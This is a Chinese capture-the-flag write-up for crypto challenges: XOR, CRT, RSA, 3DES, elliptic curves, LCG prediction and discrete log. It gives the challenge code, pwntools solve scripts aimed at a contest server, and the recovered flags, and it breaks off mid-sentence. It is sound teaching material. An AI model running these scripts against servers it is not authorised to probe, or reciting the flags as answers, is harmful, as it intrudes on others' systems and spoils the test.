这个网站真辛苦,每次都要回到all,屏幕随时卡。界面有待进步老远。也不提示结束,结果现在才听说结束了,才开始记录一下。
还跟往常一样,WM不作,其它也AK不了,总是差点。
5359437b48656c6c6f5f576f726c645f43727970746f5f6269626f6269626f7d
签到直接给16进制
工作量也单独出题了
给了p,c,e略过
程序还是挺长的,工作量在于看代码
from pwn import xor
from os import urandom
flag = b"SYC{Al3XEI_FAKE_FLAG}"
# step0: key generation & distribution
def s0(msg):
k1,k2 = [urandom(len(msg)) for _ in "__"]
return k1,k2
#
# step1: Alice encrypt M, and send it to Bob
def s1(msg,k1):
c1 = xor(msg,k1)
return c1
# step2: Bob encrypt c1, and send it to Alice
def s2(msg,k2):
c2 = xor(msg,k2)
return c2
# step3: Alice decrypt c2, and send it to Bob.
def s3(msg,k1):
c3 = xor(msg,k1)
return c3
# step4: Bob decrypt c3, get M.
def s4(msg,k2):
m_ = xor(msg,k2)
return m_
def encrypt(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
assert msg == m_
# Here's what hacker Eve got:
def encrypt_(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
if HACK == True:
print(c1)
print(c2)
print(c3)
k1,k2 = s0(flag)
encrypt_(flag,k1,k2)
c1 = b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
c2 = b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
c3 = b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'
这是个异或的加密,可以手搓一下
'''
c2 = m^k1^k2; c3 = m^k1^k2^k1 = m^k2
c2^c3 = m^k1^k2^m^k2 = k1
m = c1^k1 = c1^c2^c3
'''
用一堆小因子取模。直接用中国剩余定理。
from Crypto.Util.number import *
import os
flag = b"SYC{Al3XEI_FAKE_FLAG}"
pad = lambda msg,padlen: msg+os.urandom(padlen-len(msg))
flag = pad(flag,32)
print(len(flag))
p = [getPrime(16) for _ in range(32)]
c = [bytes_to_long(flag)%i for i in p]
print('p=',p)
print('c=',c)
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
m =crt(c,p)
bytes.fromhex(hex(m)[2:])
提示:非常好套娃,使我的古典旋转。
估计是rot之类,一个压缩包很多层,最讨厌是第3层,那个汉字本身就是密码不用解。
1
udzeojxuwqcu
rot爆破
2
ialhhooavtepcyr
栅栏7
3
5a6H5a6Z5LiH5rOV55qE6YKj5Liq5rqQ5aS0
这就是密码,不需要再找了:
宇宙万法的那个源头
4
熊曰:呋食食食取噗山笨笨破嗄咯哈動嗡雜類嗒嘿啽沒歡破吖咬我啽寶盜噔咯沒
never gonna give you up
5
password: adltlfltqrcy
key: --> base100 fairgame
密文:adltlfltqrcy
密钥:fairgame
genshinstart
SYC{classical_1s_fun}
从名字上还以为是多项式的RSA,其实不是,是给了两个等于来算p,q
import gmpy2
from Crypto.Util.number import *
flag = b"SYC{Al3XEI_FAKE_FLAG}"
p,q = [getPrime(2048) for _ in "__"]
e1,e2 = [getPrime(17) for _ in "__"]
e = 65537
n = p*q
c1 = gmpy2.powmod(2*p + 3*q,e1,n)
c2 = gmpy2.powmod(5*p + 7*q,e2,n)
c = gmpy2.powmod(bytes_to_long(flag),e,n)
print("e1=",e1)
print("e2=",e2)
print("c1=",c1)
print("c2=",c2)
print("c=",c)
print("n=",n)
e1= 113717
e2= 80737
c1= 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
c2= 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222
c= 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356
n= 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089
这里给c1,c2分别乘e2,e1次幂后展开可以消去1个参数,与n取gcd得到p
q = gcd(pow(5,e1*e2,n)*pow(c1,e2,n)- pow(2,e1*e2,n)*pow(c2,e1,n),n)
p = n//q
m = pow(c, inverse_mod(65537, (p-1)*(q-1)),n)
#632495700765608774891523870686178861658440681396480936781821380418381636030032995453
bytes.fromhex(hex(m)[2:])
b'SYC{poly_rsa_Just_need5_s1mple_gcd}'
DES的题一般是很少见的。处理比较麻烦。
from Crypto.Cipher import DES3
from Crypto.Util.number import *
import os
import random
import string
import hashlib
xor = lambda a,b: bytes([a[i % len(a)] ^ b[i % len(b)] for i in range(max(len(a), len(b)))])
pad = lambda msg,padlen: msg+chr((padlen-(len(msg)%padlen))).encode()*(padlen-(len(msg)%padlen))
flag = os.environ.get("FLAG", "SYC{Al3XEI_FAKE_FLAG}").encode()
sec = os.urandom(8)
banner = '|'*70
DEBUG = False
def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True
def enc(msg,key):
try:
key = long_to_bytes(key)
msg = xor(long_to_bytes(msg),sec)
des = DES3.new(key,DES3.MODE_ECB)
ct = xor(des.encrypt(pad(msg,8)),sec)
return bytes_to_long(ct)
except Exception as e:
print(e)
return Exception
def service():
cnt = 0
if not proof_of_work():
exit()
print(banner)
print('Simple DES Encryption Service')
print(banner)
while cnt<2:
print('1. Encrypt\n2. Get encrypted flag.')
choice = int(input('> '))
if choice == 1:
print('Input msg:')
msg = int(input('> ').strip())
print('Input key:')
key = int(input('> ').strip())
print(enc(msg,key))
elif choice == 2:
print('Input key:')
key = int(input('> ').strip())
print(enc(bytes_to_long(flag),key))
else:
exit()
cnt+=1
print(banner)
print('Bye!')
exit()
try:
service()
except Exception:
print("Something goes wrong...\n")
print(banner+'\n')
exit()
加密的时候可以自定义key,msg先与sec异或再DES3加密,然后再pad再与sec异或。
先构造一个8字节长的明文,由于pad在加密后,这样在密文尾部会加上8字节的pad这块已知,再与sec异或,导致sec泄露。
先取数据
from pwn import *
import string
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
p = remote('59.110.20.54', 23333)
context.log_level = 'debug'
p.recvuntil(b'sha256(XXXX+')
tail = p.recv(16)
p.recvuntil(b'= ')
hashv = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hashv, string.ascii_letters+string.digits,4)
#method='upto' default 0-n method='fixed' n
p.sendlineafter(b'X:',found)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', str(bytes_to_long(b'A'*8)).encode())
p.sendlineafter(b'> ', str(bytes_to_long(b'key'*8)).encode())
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', str(bytes_to_long(b'key'*8)).encode())
p.interactive()
解密
from Crypto.Cipher import DES3
from Crypto.Util.number import *
key = b'key'*8
des = DES3.new(key,DES3.MODE_ECB)
ct = des.encrypt(b'\x08'*8)
sec = xor(ct[:8], long_to_bytes(219249052913746531820898946443248378274)[8:])
des = DES3.new(key,DES3.MODE_ECB)
ct = des.decrypt(xor(sec,long_to_bytes(4261726716034873877650481870049918999139751190677899586199)))
flag = xor(ct,sec)
给了一个图片,和一个1*65536的图片,提示希尔伯特曲线。一直不明白什么意思,后来问到按希尔伯特排列。
希尔伯特曲线是通过一个方法填满矩形平面。把1*65536的数据填到一张256*256的图上就行了。
#1*65536的点接hilbert曲线排列
#点在hilbert曲线上的序号
def hilbert_idx(n,x,y): #x,y 从1开始 , 2n*2n的曲线
if n==0: return 1
m = 1<<(n-1)
if x<=m and y<=m:
return hilbert_idx(n-1,y,x) #左下
elif x>m and y<=m:
return 3*m*m + hilbert_idx(n-1,m-y+1, m*2-x+1) #右下
elif x<=m and y>m:
return m*m + hilbert_idx(n-1, x,y-m) #左上
else:
return 2*m*m + hilbert_idx(n-1,x-m,y-m) #右上
n = 128 #(128*2)**2 = 65536
from PIL import Image
im1 = Image.open('ct.png')
im2 = Image.new('RGB',(256,256))
for x in range(256):
for y in range(256):
idx = hilbert_idx(n, x+1,y+1)
p = im1.getpixel((0, idx-1))
im2.putpixel((x,y), p)
im2.save('flag.png')
#SYC{H1LB5RT_C1pher}
为什么每个题都有proof,又不是爆破类的题,作10道4点求参的题。
# from sage.all import *
import os
import random
import string
import hashlib
from Crypto.Util.number import *
DEBUG = True
banner = '|'*70
flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}").encode()
pbits = 120
abp = "abp"
def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True
def check(a,b,p,turn,ans):
if DEBUG:
return True
try:
if turn == "a":
return int(a) == ans
if turn == "b":
return int(b) == ans
if turn == "p":
return int(p) == ans
except Exception:
exit()
try:
if not proof_of_work():
exit()
print(banner)
print('\nHi Crypto-ers! AL3XEI here. I know you are excellent at math, so I prepared a game for u.')
print('In the equation y^2 = x^3+ a*x + b (mod p), 4 points are given. Plz give me the right a, b or p to contine the game.')
print('Good Luck!\n')
print(banner+'\n')
for i in range(10):
turn = random.choice(abp)
p = getPrime(pbits)
a,b = [next_prime(random.randint(2,p)) for _ in "ab"]
curve = EllipticCurve(GF(p),[a,b])
pts = [curve.random_point() for _ in range(4)]
pts = [(_[0], _[1]) for _ in pts]
for _ in pts:
print(_,end=" ")
print('\nGive me '+turn+" :")
ans = int(input('> '))
if check(a,b,p,turn,ans):
print("Good! Next challenge->\n")
print(banner+'\n')
pbits+=5
continue
else:
print("Something goes wrong...\n")
print(banner+'\n')
exit()
print('Congrats! Your flag is:',flag)
except Exception:
print("Something goes wrong...\n")
print(banner+'\n')
exit()
老有点小问题,手搓
from pwn import *
import string
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
from sage.all import *
p = remote('59.110.20.54', 8763)
context.log_level = 'debug'
p.recvuntil(b'sha256(XXXX+')
tail = p.recv(16)
p.recvuntil(b'= ')
hashv = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hashv, string.ascii_letters+string.digits,4)
#method='upto' default 0-n method='fixed' n
p.sendlineafter(b'X:',found)
for i in range(9):
p.recvline()
for i in range(10):
msg = p.recvline().decode().strip().replace(') (','):(').split(':')
pi = [eval(msg[i]) for i in range(4)]
print('pi = ',pi)
print('''
P. = PolynomialRing(ZZ)
F = []
for j in range(4):
F.append(pi[j][0]^3 + pi[j][0]*a + b - pi[j][1]^2)
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
n = factor(n)[-1][0]
a = -res[0]%n
b = -res[1]%n
print(f'({a},{b},{n})')
''')
a,b,n = eval(input('(a,b,n)>'))
p.recvuntil(b'Give me ')
v = p.recv(1).decode()
p.recvuntil(b'> ')
if v == 'a':
p.sendline(str(a).encode())
elif v == 'b':
p.sendline(str(b).encode())
elif v == 'p':
p.sendline(str(n).encode())
for i in range(4):
p.recvline()
p.interactive()
先生成128个32位整数,然后可以输入1个小于2^32的数,给出sum(x^i*res[i])
import os
import random
import string
import hashlib
flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}")
DEBUG = False
banner = '|'*70
if DEBUG:
print("==DEBUG MODE==")
def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True
try:
if not proof_of_work():
exit()
print(banner)
parms = [random.getrandbits(32) for _ in range(128)]
res = res = int(input('Give me x calculating f(x) :\n> '))
if res >= 2**32:
print("Give me something smaller.\n")
print(banner+'\n')
exit()
cnt = 0
for _ in range(128):
cnt += pow(res,_)*parms[_]
print(cnt)
ans = input('Give me Coefficients :\n> ')
ans = [int(_) for _ in ans.split(",")]
if ans == parms:
print('Congrats! Your flag is:',flag)
else:
exit()
except Exception:
print("Something goes wrong...\n")
print(banner+'\n')
exit()
如果能输入2^32就好了,不过这题不让,所以只能绕过一下用-0x1....
from pwn import *
import string
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
p = remote('59.110.20.54', 2613)
context.log_level = 'debug'
p.recvuntil(b'sha256(XXXX+')
tail = p.recv(16)
p.recvuntil(b'= ')
hashv = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hashv, string.ascii_letters+string.digits,4)
#method='upto' default 0-n method='fixed' n
p.sendlineafter(b'X:',found)
v = -0x10000000000
p.sendlineafter(b'Give me x calculating f(x) :\n> ', str(v).encode())
cnt = int(p.recvline())
ans = []
for i in range(127,-1,-1):
k = pow(v,i)
ans.append(cnt//k +1)
cnt-= ans[-1]*k
ans[-1]-=1
p.sendlineafter(b'Give me Coefficients :\n> ', str(ans[::-1]).strip('[]').encode())
p.interactive()
给了dP,dR,dQ,只要取crt就能求出d
from Crypto.Util.number import *
from libnum import*
from secret import flag
p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
e = getPrime(32)
n = p*q*r
phi = (p-1)*(q-1)*(r-1)
d = inverse(e,phi)
dP = d%((q-1)*(r-1))
dQ = d%((p-1)*(r-1))
dR = d%((p-1)*(q-1))
m = s2n(flag.encode())
c = pow(m,e,n)
print('p=',p)
print('q=',q)
print('r=',r)
print('dP=',dP)
print('dQ=',dQ)
print('dR=',dR)
print('c=',c)
p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dP= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dQ= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dR= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
sage: d = crt([dP,dQ,dR],[(q-1)*(r-1),(p-1)*(r-1),(p-1)*(q-1)])
sage: m = pow(c,d,p*q*r)
sage: m
3284105439708182445651619594921418499868206804330511968562375777874941562244751467793334400733724381720289623498973565
sage: bytes.fromhex(hex(m)[2:])
b'SYC{CRT_1s_f3n_but_Gen3hi_im9act_is_a_balabalaba}'
这题据说是非预期了。特别非。题目没有附件,连接后显示一个计算题
Hi Crypto-ers! AL3XEI Here. In number theory, if there exists an integer q satisfying x^2=q(mod n), q is so called a quadratic residue.
We write this calculation as L(a,p), which its value shows a is or is not quadratic residue modulo p.
Below, you need to give me the answer of the sum of L(a*l**2+b*l+1,p), where a,b are integers, p is a prime, and l rise from 0 to p-1.
For example, given a = 2, b = 3, c = 1, p = 5, the answer will be L(1, 5) + L(6, 5) + L(15, 5) + L(28, 5) + L(45, 5) = 1.
Hope you success!
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
-4075 * l**2 + 190 * l + 1
p = 131 (8 bits)
> Type your answer:
给了一个数,求sum([L(a*l**2+b*l+1,p) for l in range(p-1) ])
如果数字很小其实是可以算的,用雅克比符号。不过题目的数字非常大 for实现不了,不过恰巧从比较小的数看,结果是p-1然后就OK了。可能后来后台改了,不成功了听说。
from pwn import *
import string
from hashlib import sha256
from gmpy2 import jacobi
p = remote('59.110.20.54',3042)
context(arch='amd64', log_level='debug')
tail = p.recvuntil(b') == ', drop=True)[-16:]
hsh = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hsh, string.ascii_letters+string.digits,4)
#method='upto' default 0-n method='fixed' n
p.sendlineafter(b'XXXX: ',found)
p.recvuntil(b'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n\n')
while True:
p.recvuntil(b'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n\n')
s = p.recvline().strip()
n = int(p.recvline().split(b' ')[2])
v = 0
#for l in range(n):
# v += jacobi(eval(s), n)
p.sendlineafter(b'answer:', str(n-1).encode())
p.interactive()
y=g^x%n DLP的题
import gmpy2 as gp
import random
from Crypto.Util.number import *
DEBUG = False
flag = b"SYC{Al3XEI_FAKE_FLAG}"
assert flag.startswith(b"SYC")
nbits = 512
g = 3
def gen_p_1(digit):
primes = []
pri = 1
while(len(primes)<100):
pri = gp.next_prime(pri)
primes.append(int(pri))
while True:
count = 2
while count < 2**digit:
count *= random.choice(primes)
count += 1
if(gp.is_prime(count)):
return count
p,q,r = [gen_p_1(nbits) for _ in "pqr"]
n = p*q*r
x = bytes_to_long(flag)
y = gp.powmod(g,x,n)
print("p = {}".format(p))
print("q = {}".format(q))
print("r = {}".format(r))
print("y = {}".format(y))
if DEBUG:
print("x = {}".format(x))
3个因子的DLP,不过x很小,只求1个就够了
p = 1068910928091265978478887270179608140018534288604159452828300604294675735481804963679672853224192480667904101881092533866322948043654533322038484907159945421
q = 1711302770747802020613711652777299980542669713888988077474955896217408515180094849053961025086865697904731088087532944829046702427480842253022459937172565651
r = 132969813572228739353704467775972551435751558645548804253458782569132362201099158857093676816706297676454547299888531536236748314013888413096371966359860637
y = 5385116324746699759660077007129548063211490907227715474654765255668507958312745677683558789874078477569613259930365612562164095274660123330458355653249805062678976259429733060364358954180439218947514191603330532117142653558803034110759332447742304749985874760435453594107494324797235909651178472904825071375135846093354526936559640383917210702874692725723836865724807664892994298377375580807917514349966834376413176898806591411038129330967050554114677719107335006266
def Polig_Hellman(g,y,p):
factors, exponents = zip(*factor(p-1))
temp=[]
for i in range(len(factors)):
q=factors[i]
a=[]
for j in range(1,exponents[i]+1):
gg=pow(g,((p-1)//q^j),p)
yy=pow(y,((p-1)//q^j),p)
for k in range(q):
s=0
for t in range(len(a)):
s+=a[t]*q^t
s+=k*q^(len(a))
if pow(gg,s,p)==yy:
a.append(k)
break
x_q=0
for j in range(len(a)):
x_q+=a[j]*q^j
temp.append(x_q)
f=[]
for i in range(len(factors)):
f.append(factors[i]^exponents[i])
return crt(temp,f)
x1 = Polig_Hellman(3,y,p)
x2 = Polig_Hellman(3,y,q)
x3 = Polig_Hellman(3,y,r)
l2b(x1)
#SYC{D1scr3te_L0g_W1th_Mult1pl3_pr1m35}
out = (out*m+c)%n LCG的伪随机预测
from Crypto.Util.number import *
from cards import Heart, Spade, Club, Diamond
from secret import flag
def choose_card(num):
x = (num>>5)%4
if x == 0:
return (Heart[(num>>6)%13]), 'Heart'
if x%4 == 1:
return (Spade[(num>>6)%13]), 'Spade'
if x%4 == 2:
return (Diamond[(num>>6)%13]), 'Diamond'
else:
return (Club[(num>>6)%13]), 'Club'
def GAME():
banner = '''
#### ## ##### ##### #### ## # # ######
# # # # # # # # # # # # ## ## #
# # # # # # # # # # # ## # #####
# ###### ##### # # # ### ###### # # #
# # # # # # # # # # # # # # #
#### # # # # ##### #### # # # # ######
'''
print(banner)
meum = '''option:
1: start game
2: get hint
3: exit
'''
print(meum)
while True:
print('input your option: ', end='')
your_input = input()
if your_input == '1':
n = getPrime(36)
m = getPrime(16)
c = getPrime(16)
seed = getPrime(36)
out = seed
round = 0
score = 0
res = []
while True:
round += 1
res = []
print(f'round:{round}')
print(f'score:{score}')
for i in range (3):
out = (out*m+c)%n
res.append(out)
if round == 1:
for i in res:
card, suit = choose_card(i)
print(card)
elif round==2 or round==3: #gift
for i in res:
card, suit = choose_card(i)
print(card)
print(f'gift: {res}')
else:
cards = []
suits = []
for i in range(len(res)):
card, suit = choose_card(res[i])
cards.append(card)
suits.append(suit)
print("Give me your guess: (example: Heart_1 Club_2 Diamond_3)")
try:
g_1, g_2, g_3 = input().split()
g_1, g_2, g_3 = g_1.split('_'), g_2.split('_'), g_3.split('_')
except ValueError:
print("Please enter in the correct format.")
return
if (g_1[0] == suits[0] and g_1[1] == cards[0][15]) and (g_2[0] == suits[1] and g_2[1] == cards[1][15]) and (g_3[0] == suits[2] and g_3[1] == cards[2][15]):
for i in cards:
print(i)
print("Congratulations! You matched the cards!")
score += 1
else:
for i in cards:
print(i)
print("Try again!")
if score == 50:
print('The flag is your reward!')
print(flag)
return
else:
continue
if your_input == '2':
print("Have you ever heard of LCG?")
if your_input == '3':
break
if __name__ == '__main__':
GAME()
跟前边一题一样,求参然后预测。
from pwn import *
from sage.all import *
io = remote('59.110.20.54', 4953)
#c = [33236290593, 22315804313, 31726858930, 18730288811, 33425564510, 22253622981]
c = []
io.recvuntil(b'gift:')
c += eval(io.recvline())
io.recvuntil(b'gift:')
c += eval(io.recvline())
#求参
P.=PolynomialRing(ZZ)
F = [c[i]*a+b-c[i+1] for i in range(len(c)-1)]
I = Ideal(F).groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
a = -res[0]%n
b = -res[1]%n
out = c[-1]
def lcg():
global out
out = a*out+b
return out
card = 'A234567890JQK'
hs = ['Heart', 'Spade', 'Diamond', 'Club']
def choose_card(num):
return hs[(num>>5)%4]+'_'+card[(num>>6)%13]
for i in range(50):
io.sendlineafter(b"Give me your guess: (example: Heart_1 Club_2 Diamond_3)", ' '.join([choose_card(lcg()) for i in range(3)]))
p.interactive()
two_squre正好算不出来,sage里这个函数只能求出两个大小差不多的数,其它这种情况有多解。
#sage9.3
from Crypto.Util.number import *
flag = b'FAKE{Do_You_know_Complex_numbers}'
p = random_prime(1 << 384)
q = random_prime(1 << 384)
n = p * q
e = 0x10001
N = pow(p, 2) + pow(q, 2)
m = bytes_to_long(flag)
c = pow(m,e,n)
print(c)
print(N)
c = 122977267154486898127643454001467185956864368276013342450998567212966113302012584153291519651365278888605594000436279106907163024162771486315220072170917153855370362692990814276908399943293854077912175867886513964032241638851526276
N = 973990451943921675425625260267293227445098713194663380695161260771362036776671793195525239267004528550439258233703798932349677698127549891815995206853756301593324349871567926792912475619794804691721625860861059975526781239293017498
到网站上求Generic two integer variable equation solver
然后过滤出素数,再对3个数爆破
ps = [ 19363217435685725086309565372598916181859650326783828314797682559225567191045476914798042628135204508694501589001503,
29962125885196559918101088622575501736433575381042696980660846307183241725227137854663856022170515177120773072848343,
8732781022306464325787401448517171026218291389436971731700810979177651389459896422549428444142746055523338740248707]
for p in ps:
m = pow(c, inverse_mod(0x10001, p-1),p)
print(long_to_bytes(int(m)))
#SYC{D0_you_like_r41n?_i_pref3r_R1_ng}
这也是个脑筋急转弯的题对于gcdext可以求出a*x+by == 1的a,b。这题要求求7个参数
a0*x0+a1*x1+a2*x2+... == 1
本身是没有这个函数的。不过可以将7个数分成两组a0*(x0+x1+...)+a1*(...x5+x6) == 1但这里可能有公因子,所以得试下。
from pwn import *
from gmpy2 import gcdext
def sha256proof(io):
from hashlib import sha256
from itertools import product
from string import ascii_letters, digits
code = ascii_letters + digits
io.recvuntil(b'sha256(XXXX+')
tail = io.recvuntil(b') == ', drop=True)
hash = io.recvuntil(b'\n', drop=True).decode()
for a,b,c,d in product(code, repeat=4):
tmp = sha256((a+b+c+d).encode()+tail).hexdigest()
if tmp == hash:
io.sendlineafter(b'Give me XXXX: ', (a+b+c+d).encode())
return True
return False
p = remote('59.110.20.54',1789)
context.log_level = 'debug'
sha256proof(p)
while True:
p.recvuntil(b"primes : ")
ps = eval(p.recvuntil(b']'))
for i in range(1,5):
_,a,b = gcdext(sum(ps[:i]),sum(ps[i:]))
if _==1:
break
p.sendlineafter(b'Give me a0,...a5,a6: ', ((str(a)+',')*i + (str(b)+',')*(7-i))[:-1].encode())
p.interactive()
数据很多,加密只有xor
#utf-8
#sage
import os
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from secret import flag,e
from functools import reduce
assert reduce(lambda x,y:x&y,[i^3 - 10*i^2 + 31*i - 30==0 for i in e])
LEN = 32
flag = pad(flag,36)
def LongArray(t:list):
return [bytes_to_long(t[i]) for i in range(len(t))]
def BytesArray(t:list):
return [long_to_bytes(t[i]) for i in range(len(t))]
def xor(a, b):
return bytes([a[i%len(a)] ^^ b[i%len(b)] for i in range(max(len(a), len(b)))])
def ArrayXor(a:list,b:bytes):
return [xor(a[i],b) for i in range(len(a))]
def scissors(flag:bytes):
return [flag[i:i+len(flag)//3] for i in range(0, len(flag), len(flag)//3)]
def challenge(m: bytes, bits: int, level: int):
p = getPrime(bits)
M = random_matrix(Zmod(p), LEN).matrix_from_rows_and_columns(range(LEN), range(LEN-level))
c = vector(GF(p), m) * M
return {"p": p, "M": M.list(), "c": c.list()}
def groebner_challenge(m,e):
p = getPrime(1024)
s = sum(m)
c = [pow(m[i],e[i],p) for i in range(3)]
c.insert(0,s)
c.insert(0,p)
return c
key = os.urandom(LEN)
Get_key = challenge(key,256,0x10)
S_bytes = scissors(flag)
C_bytes = ArrayXor(S_bytes,key)
C_long = LongArray(C_bytes)
groebner_challenge = groebner_challenge(C_long,e)
with open('keyTask.chall', 'w') as f:
f.write(f"{Get_key}")
with open('groebnerTask.chall','w') as f:
f.write(f"{groebner_challenge}")
先通过
